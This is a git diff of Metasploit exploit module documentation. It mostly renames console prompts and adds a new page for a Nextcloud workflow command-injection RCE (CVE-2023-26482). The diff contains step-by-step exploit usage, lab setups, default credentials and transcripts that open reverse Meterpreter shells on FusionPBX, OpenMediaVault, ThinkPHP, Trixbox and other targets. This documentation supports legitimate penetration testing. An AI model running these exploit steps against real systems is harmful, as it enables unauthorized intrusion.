b/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md index c35d535470325..48d9b03a177b7 100644 --- a/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md +++ b/documentation/modules/exploit/unix/webapp/fusionpbx_exec_cmd_exec.md @@ -48,16 +48,16 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/fusionpbx_exec_cmd_exec - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set rhosts 172.16.191.214 + msf > use exploit/unix/webapp/fusionpbx_exec_cmd_exec + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set rhosts 172.16.191.214 rhosts => 172.16.191.214 - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set username admin + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set username admin username => admin - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set password PXRtwZqSkvToC4gc + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set password PXRtwZqSkvToC4gc password => PXRtwZqSkvToC4gc - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set lhost 172.16.191.165 + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > show targets + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > show targets Exploit targets: @@ -68,7 +68,7 @@ 2 Automatic (Linux Dropper) - msf5 exploit(unix/webapp/fusionpbx_exec_cmd_exec) > run + msf exploit(unix/webapp/fusionpbx_exec_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] Authenticated as user 'admin' diff --git a/documentation/modules/exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.md b/documentation/modules/exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.md index 0dcacd7ce6514..70923bdaf7c57 100644 --- a/documentation/modules/exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.md +++ b/documentation/modules/exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec.md @@ -71,16 +71,16 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec - msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214 + msf > use exploit/unix/webapp/fusionpbx_operator_panel_exec_cmd_exec + msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set rhosts 172.16.191.214 rhosts => 172.16.191.214 - msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test + msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set username test username => test - msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46! + msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set password wBXxcY4LTAsMd46! password => wBXxcY4LTAsMd46! - msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165 + msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run + msf exploit(unix/webapp/fusionpbx_operator_panel_exec_cmd_exec) > run [*] Started reverse TCP double handler on 172.16.191.165:4444 [+] Authenticated as user 'test' diff --git a/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md b/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md index 4f63cb5f9b602..4b35e2db6b1dc 100644 --- a/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md +++ b/documentation/modules/exploit/unix/webapp/joomla_comfields_sqli_rce.md @@ -18,7 +18,7 @@ ### Joomla 3.7.0 on Windows 7 SP1 with Super User authenticated ``` -msf5 exploit(unix/webapp/joomla_comfields_sqli_rce) > run +msf exploit(unix/webapp/joomla_comfields_sqli_rce) > run [*] Started reverse TCP handler on 172.22.222.138:4444 [*] 172.22.222.122:80 - Retrieved table prefix [ unqi0 ] diff --git a/documentation/modules/exploit/unix/webapp/jquery_file_upload.md b/documentation/modules/exploit/unix/webapp/jquery_file_upload.md index 1fbaac76b746a..97886923ca855 100644 --- a/documentation/modules/exploit/unix/webapp/jquery_file_upload.md +++ b/documentation/modules/exploit/unix/webapp/jquery_file_upload.md @@ -36,13 +36,13 @@ You may want to use another tool like `dirb` to handle enumeration. ## Usage ``` -msf5 exploit(unix/webapp/jquery_file_upload) > check +msf exploit(unix/webapp/jquery_file_upload) > check [*] Checking /jQuery-File-Upload/package.json [+] Found Apache 2.4.18 (AllowOverride None may be set) [+] Found unpatched jQuery File Upload 9.22.0 [*] 172.28.128.3:80 The target appears to be vulnerable. -msf5 exploit(unix/webapp/jquery_file_upload) > run +msf exploit(unix/webapp/jquery_file_upload) > run [*] Started reverse TCP handler on 172.28.128.1:4444 [*] Checking /jQuery-File-Upload/package.json diff --git a/documentation/modules/exploit/unix/webapp/nextcloud_workflows_rce.md b/documentation/modules/exploit/unix/webapp/nextcloud_workflows_rce.md new file mode 100644 index 0000000000000..80a20a92bd218 --- /dev/null +++ b/documentation/modules/exploit/unix/webapp/nextcloud_workflows_rce.md @@ -0,0 +1,148 @@ +## Description + +This module exploits a command injection that leads to a remote execution in Nextcloud installations if the app Workflow External Scripts is also installed. +The vulnerability affects Nextcloud versions >= 24.0.0, >= 25.0.0, >= 18.0.0, >= 19.0.0, >= 20.0.0, >= 21.0.0, >= 22.0.0, >= 23.0.0, >= 24.0.0, >= 25.0.0 + +A missing scope validation allowed users to create workflows which are designed to be only available for administrators. In combination with Workflow External Script, this vulnerability +leads to authenticated remote command execution. + +More about the vulnerability detail: [CVE-2023-26482](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2023-26482). + +The module will automatically use `cmd/linux/http/x64/meterpreter/reverse_tcp` payload. + +The module will check if the target is vulnerable, by adding and removing a dummy-workflow. + + +## Vulnerable Application + +[Nextcloud](https://nextcloud.com/) is a suite of client-server software for creating and using file hosting services. + +This module has been tested successfully on Nextcloud versions: + +* Nextcloud version 24.0.5 + +### Source and Installers + +* [Source Code Repository](https://github.com/nextcloud/server/releases/tag/v24.0.5) +* [Docker](https://hub.docker.com/_/nextcloud) + +### Docker Installation + +This exploit was tested using a [nextcloud docker container](https://hub.docker.com/_/nextcloud) and [docker-compose](https://docs.docker.com/compose/) +with the following docker-compose.yml: + +```yaml +volumes: + nextcloud: + db: + +services: + db: + image: mariadb:10.6 + restart: always + command: --transaction-isolation=READ-COMMITTED --log-bin=binlog --binlog-format=ROW + volumes: + - db:/var/lib/mysql + environment: + - MARIADB_ROOT_PASSWORD=root + - MARIADB_PASSWORD=root + - MARIADB_DATABASE=nextcloud + - MARIADB_USER=nextcloud + + app: + image: nextcloud:24.0.5 + restart: always + ports: + - 8080:80 + links: + - db + environment: + - MYSQL_PASSWORD=root + - MYSQL_DATABASE=nextcloud + - MYSQL_USER=root + - MYSQL_HOST=db + - NEXTCLOUD_ADMIN_PASSWORD=admin + - NEXTCLOUD_ADMIN_USER=admin + - NEXTCLOUD_TRUSTED_DOMAINS="192.168.233.64:8080" + depends_on: + - db +``` + +**_NOTE:_** Change the IP-address and port for NEXTCLOUD_TRUSTED_DOMAINS for your setup + +After `docker compose up -d` login as admin and install the workflow app: "Workflow external script" and +create a low privileged user `alice`. Make sure that you choose "Cron(Recommended)" in the Settings for "Background Jobs". +Before we can run the exploit, we need to start the cronjob. This is crucial because otherwise the +payload doesn't get triggered: + +``` +docker exec -it -u www-data nextcloud-app-1 /bin/bash +watch -n2 php cron.php +``` + +Wait until you the watch-command outputs something like: "Every 2.0s: php cron.php". + +## Verification Steps +Example steps in this format (is also in the PR): + +1. Do: `use exploit/unix/webapp/nextcloud_workflows_rce` +2. Do: `set RHOSTS [ips]` +3. Do: `set LHOST [lhost]` +4. Do: `set RPORT 8080` +5. Do: `set USERNAME alice` +6. Do: `set PASSWORD alice-password` +7. Do: `run` +8. You should get a shell after a while + +## Options + +### TARGETURI + +Remote web path to the nextcloud installation (default: /) + +### USERNAME + +The low-privileged username to authenticate to nextcloud + +### PASSWORD + +The password for the low-privileged user + +## Scenarios + +In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP address of the metasploit host is +192.42.1.188. + +### Nextcloud 24.0.5(docker-compose) + +The following demo shows how to use the exploit: + +``` +msf > use exploit/unix/webapp/nextcloud_workflows_rce +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(unix/webapp/nextcloud_workflows_rce) > set RHOSTS 192.168.233.64 +RHOSTS => 192.168.233.64 +msf exploit(unix/webapp/nextcloud_workflows_rce) > set LHOST 192.168.233.117 +LHOST => 192.168.233.117 +msf exploit(unix/webapp/nextcloud_workflows_rce) > set RPORT 8080 +RPORT => 8080 +msf exploit(unix/webapp/nextcloud_workflows_rce) > set USERNAME alice +USERNAME => alice +msf exploit(unix/webapp/nextcloud_workflows_rce) > set PASSWORD CaeD4ohchaiv5ieDooBa +PASSWORD => CaeD4ohchaiv5ieDooBa +msf exploit(unix/webapp/nextcloud_workflows_rce) > run +[*] Started reverse TCP handler on 192.168.233.117:4444 +[*] Sending payload.. +[+] Workflow created +[*] Waiting for the payload to connect back .. +[*] Sending stage (3045380 bytes) to 192.168.233.64 +[*] Meterpreter session 1 opened (192.168.233.117:4444 -> 192.168.233.64:37090) at 2025-04-10 13:27:49 +0000 +[+] Payload connected! +[*] Cleaning up + +meterpreter > getuid +Server username: www-data +``` + +## Limitations +Ensure that your `WfsDelay` advanced option is set to a value that allows `cron` to execute the payload. Default is 16 minutes diff --git a/documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md b/documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md index da0213271728c..94c134a7ddc03 100644 --- a/documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md +++ b/documentation/modules/exploit/unix/webapp/openmediavault_auth_cron_rce.md @@ -79,7 +79,7 @@ The default value is false, where the payload is removed to cover your tracks. ## Scenarios ```msf -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > info +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > info Name: OpenMediaVault rpc.php Authenticated Cron Remote Code Execution Module: exploit/unix/webapp/openmediavault_auth_cron_rce @@ -156,16 +156,16 @@ View the full module info with the info -d command. ``` ### openmediavault_7.0-32-amd64.iso appliance Unix command - cmd/unix/reverse_bash ```msf -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.201.6 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.201.6 rhosts => 192.168.201.6 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.201.8 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.201.8 lhost => 192.168.201.8 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > check +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > check [*] 192.168.201.6:80 - Authenticating with OpenMediaVault using credentials admin:openmediavault [*] Trying to detect if target is running a vulnerable version of OpenMediaVault. [+] 192.168.201.6:80 - The target is vulnerable. Version 7.0.pre.32 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -185,9 +185,9 @@ exit ``` ### openmediavault_7.0-32-amd64.iso appliance Linux Dropper - linux/x64/meterpreter/reverse_tcp ```msf -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1 target => 1 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -217,13 +217,13 @@ meterpreter > ``` ### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Unix command - cmd/unix/reverse_bash ```msf -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 0 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 0 target => 0 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10 rhosts => 192.168.1.10 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8 lhost => 192.168.1.8 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -242,15 +242,15 @@ Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aa ``` ### openmediavault 7.3.0-5 ARM64 Raspberry PI-4 Linux Dropper - linux/aarch64/meterpreter_reverse_tcp ```msf -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set target 1 target => 1 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set rhosts 192.168.1.10 rhosts => 192.168.1.10 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8 +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > set lhost 192.168.1.8 lhost => 192.168.1.8 -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit -msf6 exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit +msf exploit(unix/webapp/openmediavault_auth_cron_rce) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/unix/webapp/openmediavault_rpc_rce.md b/documentation/modules/exploit/unix/webapp/openmediavault_rpc_rce.md index dcf14e5827ab7..e81ee1c877e69 100644 --- a/documentation/modules/exploit/unix/webapp/openmediavault_rpc_rce.md +++ b/documentation/modules/exploit/unix/webapp/openmediavault_rpc_rce.md @@ -45,13 +45,13 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### OpenMediaVault 5.5.11 With Linux Dropper Payload ``` -msf6 > use exploit/unix/webapp/openmediavault_rpc_rce +msf > use exploit/unix/webapp/openmediavault_rpc_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121 RHOSTS => 172.29.90.121 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98 LHOST => 172.29.95.98 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > exploit +msf exploit(unix/webapp/openmediavault_rpc_rce) > exploit [*] Started reverse TCP handler on 172.29.95.98:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -89,20 +89,20 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 172.29.90.121 - Meterpreter session 1 closed. Reason: User exit -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > +msf exploit(unix/webapp/openmediavault_rpc_rce) > ``` ### OpenMediaVault 5.5.11 With Unix In-Memory Payload ``` -msf6 > use exploit/unix/webapp/openmediavault_rpc_rce +msf > use exploit/unix/webapp/openmediavault_rpc_rce [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set RHOSTS 172.29.90.121 RHOSTS => 172.29.90.121 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set LHOST 172.29.95.98 LHOST => 172.29.95.98 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set TARGET 1 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set TARGET 1 TARGET => 1 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > show options +msf exploit(unix/webapp/openmediavault_rpc_rce) > show options Module options (exploit/unix/webapp/openmediavault_rpc_rce): @@ -137,9 +137,9 @@ Exploit target: 1 Automatic (Unix In-Memory) -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > set LPORT 9988 +msf exploit(unix/webapp/openmediavault_rpc_rce) > set LPORT 9988 LPORT => 9988 -msf6 exploit(unix/webapp/openmediavault_rpc_rce) > run +msf exploit(unix/webapp/openmediavault_rpc_rce) > run [*] Started SSH reverse handler on ssh://172.29.95.98:9988 [*] Executing automatic check (disable AutoCheck to override) @@ -161,4 +161,4 @@ uname -a Linux openmediavault 5.7.0-0.bpo.2-amd64 #1 SMP Debian 5.7.10-1~bpo10+1 (2020-07-30) x86_64 GNU/Linux pwd / -``` \ No newline at end of file +``` diff --git a/documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md b/documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md index be4b43864e101..2ba01b30fb3b8 100644 --- a/documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md +++ b/documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md @@ -33,14 +33,14 @@ The HTTP server virtual host. You will probably need to configure this as well, Tested OpenNetAdmin 18.1.1 on Ubuntu 19.10 x64 ``` -msf5 > use exploit/unix/webapp/opennetadmin_ping_cmd_injection -msf5 exploit(opennetadmin_ping_cmd_injection) > set RHOSTS 172.16.172.152 +msf > use exploit/unix/webapp/opennetadmin_ping_cmd_injection +msf exploit(opennetadmin_ping_cmd_injection) > set RHOSTS 172.16.172.152 RHOSTS => 172.16.172.152 -msf5 exploit(opennetadmin_ping_cmd_injection) > set VHOST example.com +msf exploit(opennetadmin_ping_cmd_injection) > set VHOST example.com VHOST => example.com -msf5 exploit(opennetadmin_ping_cmd_injection) > set LHOST 172.16.172.1 +msf exploit(opennetadmin_ping_cmd_injection) > set LHOST 172.16.172.1 LHOST => 172.16.172.1 -msf5 exploit(opennetadmin_ping_cmd_injection) > exploit +msf exploit(opennetadmin_ping_cmd_injection) > exploit [*] Started reverse TCP handler on 172.16.172.1:4444 [*] Exploiting... [*] Sending stage (3021284 bytes) to 172.16.172.152 diff --git a/documentation/modules/exploit/unix/webapp/opensis_chain_exec.md b/documentation/modules/exploit/unix/webapp/opensis_chain_exec.md index 8bf73caa21df4..71873918fffca 100644 --- a/documentation/modules/exploit/unix/webapp/opensis_chain_exec.md +++ b/documentation/modules/exploit/unix/webapp/opensis_chain_exec.md @@ -31,10 +31,10 @@ The base path to the web application (e.g. `/opensis/`). The default value is `/ **openSIS 7.4 running on Ubuntu 18.04.4** ``` -msf5 > use unix/webapp/opensis_chain_exec -msf5 exploit(unix/webapp/opensis_chain_exec) > set RHOSTS localhost -msf5 exploit(unix/webapp/opensis_chain_exec) > set TARGETURI /opensis/ -msf5 exploit(unix/webapp/opensis_chain_exec) > check +msf > use unix/webapp/opensis_chain_exec +msf exploit(unix/webapp/opensis_chain_exec) > set RHOSTS localhost +msf exploit(unix/webapp/opensis_chain_exec) > set TARGETURI /opensis/ +msf exploit(unix/webapp/opensis_chain_exec) > check [*] Retrieving session cookie [*] Injecting malicious SQL into session variable @@ -42,7 +42,7 @@ msf5 exploit(unix/webapp/opensis_chain_exec) > check [*] Executing PHP code by calling Bottom.php [+] 127.0.0.1:80 - The target is vulnerable. -msf5 exploit(unix/webapp/opensis_chain_exec) > run +msf exploit(unix/webapp/opensis_chain_exec) > run [*] Started reverse TCP handler on 127.0.0.1:4444 [*] Retrieving session cookie diff --git a/documentation/modules/exploit/unix/webapp/rconfig_install_cmd_exec.md b/documentation/modules/exploit/unix/webapp/rconfig_install_cmd_exec.md index 97919c83c6d44..40c91525ae8ab 100644 --- a/documentation/modules/exploit/unix/webapp/rconfig_install_cmd_exec.md +++ b/documentation/modules/exploit/unix/webapp/rconfig_install_cmd_exec.md @@ -32,17 +32,17 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/rconfig_install_cmd_exec - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > set rhosts 172.16.191.131 + msf > use exploit/unix/webapp/rconfig_install_cmd_exec + msf exploit(unix/webapp/rconfig_install_cmd_exec) > set rhosts 172.16.191.131 rhosts => 172.16.191.131 - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > set verbose true + msf exploit(unix/webapp/rconfig_install_cmd_exec) > set verbose true verbose => true - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > check + msf exploit(unix/webapp/rconfig_install_cmd_exec) > check [*] Executing command: id [*] Response: uid=48(apache) gid=48(apache) groups=48(apache) [+] 172.16.191.131:443 - The target is vulnerable. - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > show targets + msf exploit(unix/webapp/rconfig_install_cmd_exec) > show targets Exploit targets: @@ -52,13 +52,13 @@ 1 Automatic (Linux Dropper) - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > set target 0 + msf exploit(unix/webapp/rconfig_install_cmd_exec) > set target 0 target => 0 - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > set payload cmd/unix/reverse_perl + msf exploit(unix/webapp/rconfig_install_cmd_exec) > set payload cmd/unix/reverse_perl payload => cmd/unix/reverse_perl - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > set lhost 172.16.191.165 + msf exploit(unix/webapp/rconfig_install_cmd_exec) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > run + msf exploit(unix/webapp/rconfig_install_cmd_exec) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [*] Executing command: id @@ -77,6 +77,6 @@ "" [*] 172.16.191.131 - Command shell session 1 closed. Reason: User exit - msf5 exploit(unix/webapp/rconfig_install_cmd_exec) > + msf exploit(unix/webapp/rconfig_install_cmd_exec) > ``` diff --git a/documentation/modules/exploit/unix/webapp/thinkphp_rce.md b/documentation/modules/exploit/unix/webapp/thinkphp_rce.md index 3660984024b7d..e4eabefbede05 100644 --- a/documentation/modules/exploit/unix/webapp/thinkphp_rce.md +++ b/documentation/modules/exploit/unix/webapp/thinkphp_rce.md @@ -44,8 +44,8 @@ to a different port to bind the command stager server to. ### ThinkPHP 5.0.20 from [Vulhub](https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce) ``` -msf5 > use exploit/unix/webapp/thinkphp_rce -msf5 exploit(unix/webapp/thinkphp_rce) > options +msf > use exploit/unix/webapp/thinkphp_rce +msf exploit(unix/webapp/thinkphp_rce) > options Module options (exploit/unix/webapp/thinkphp_rce): @@ -78,13 +78,13 @@ Exploit target: 1 Linux Dropper -msf5 exploit(unix/webapp/thinkphp_rce) > set rhosts 127.0.0.1 +msf exploit(unix/webapp/thinkphp_rce) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(unix/webapp/thinkphp_rce) > set lhost 192.168.1.3 +msf exploit(unix/webapp/thinkphp_rce) > set lhost 192.168.1.3 lhost => 192.168.1.3 -msf5 exploit(unix/webapp/thinkphp_rce) > set srvport 8888 +msf exploit(unix/webapp/thinkphp_rce) > set srvport 8888 srvport => 8888 -msf5 exploit(unix/webapp/thinkphp_rce) > run +msf exploit(unix/webapp/thinkphp_rce) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Executing automatic check (disable AutoCheck to override) @@ -115,7 +115,7 @@ meterpreter > ### ThinkPHP 5.0.23 from [Vulhub](https://github.com/vulhub/vulhub/tree/master/thinkphp/5.0.23-rce) ``` -msf5 exploit(unix/webapp/thinkphp_rce) > run +msf exploit(unix/webapp/thinkphp_rce) > run [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md b/documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md index 8f5b6548b7d31..3cd15c160e50a 100644 --- a/documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md +++ b/documentation/modules/exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce.md @@ -45,10 +45,10 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Trixbox CE v2.8.0.4 ``` -msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.8 +msf > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.8 rhosts => 192.168.1.8 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce): @@ -82,9 +82,9 @@ Exploit target: 0 Automatic (Linux Dropper) -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10 +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10 lhost => 192.168.1.10 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit [*] Started reverse TCP handler on 192.168.1.10:4444 [*] 192.168.1.8:80 - Authenticating using "maint:password" credentials... @@ -112,10 +112,10 @@ asterisk ### Trixbox CE v2.4.0 ``` -msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.7 +msf > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set rhosts 192.168.1.7 rhosts => 192.168.1.7 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce): @@ -149,9 +149,9 @@ Exploit target: 0 Automatic (Linux Dropper) -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10 +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set lhost 192.168.1.10 lhost => 192.168.1.10 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit [*] Started reverse TCP handler on 192.168.1.10:4444 [*] 192.168.1.7:80 - Authenticating using "maint:password" credentials... @@ -179,8 +179,8 @@ asterisk ### Trixbox CE v1.2.0 ``` -msf5 > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options +msf > use exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > show options Module options (exploit/unix/webapp/trixbox_ce_endpoint_devicemap_rce): @@ -214,13 +214,13 @@ Exploit target: 0 Automatic (Linux Dropper) -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set LHOST 192.168.205.1 +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set LHOST 192.168.205.1 LHOST => 192.168.205.1 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set SRVHOST 192.168.205.1 +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set SRVHOST 192.168.205.1 SRVHOST => 192.168.205.1 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148 +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > set RHOSTS 192.168.205.148 RHOSTS => 192.168.205.148 -msf5 exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit +msf exploit(unix/webapp/trixbox_ce_endpoint_devicemap_rce) > exploit [*] Started reverse TCP handler on 192.168.205.1:4444 [*] 192.168.205.148:80 - Authenticating using "maint:password" credentials... diff --git a/documentation/modules/exploit/unix/webapp/vicidial_agent_authenticated_rce.md b/documentation/modules/exploit/unix/webapp/vicidial_agent_authenticated_rce.md index 5fc06a2ec67ad..08094a937d25c 100644 --- a/documentation/modules/exploit/unix/webapp/vicidial_agent_authenticated_rce.md +++ b/documentation/modules/exploit/unix/webapp/vicidial_agent_authenticated_rce.md @@ -181,10 +181,10 @@ System should be installed. Please type 'reboot' to cleanly load everything. Using `cmd/linux/http/x64/meterpreter_reverse_tcp`: ``` -msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password +msf exploit(unix/webapp/vicidial_agent_authenticated_rce) > run http://192.168.1.28 username=6666 password=password [*] Exploit running as background job 12. [*] Exploit completed, but no session was created. -msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > +msf 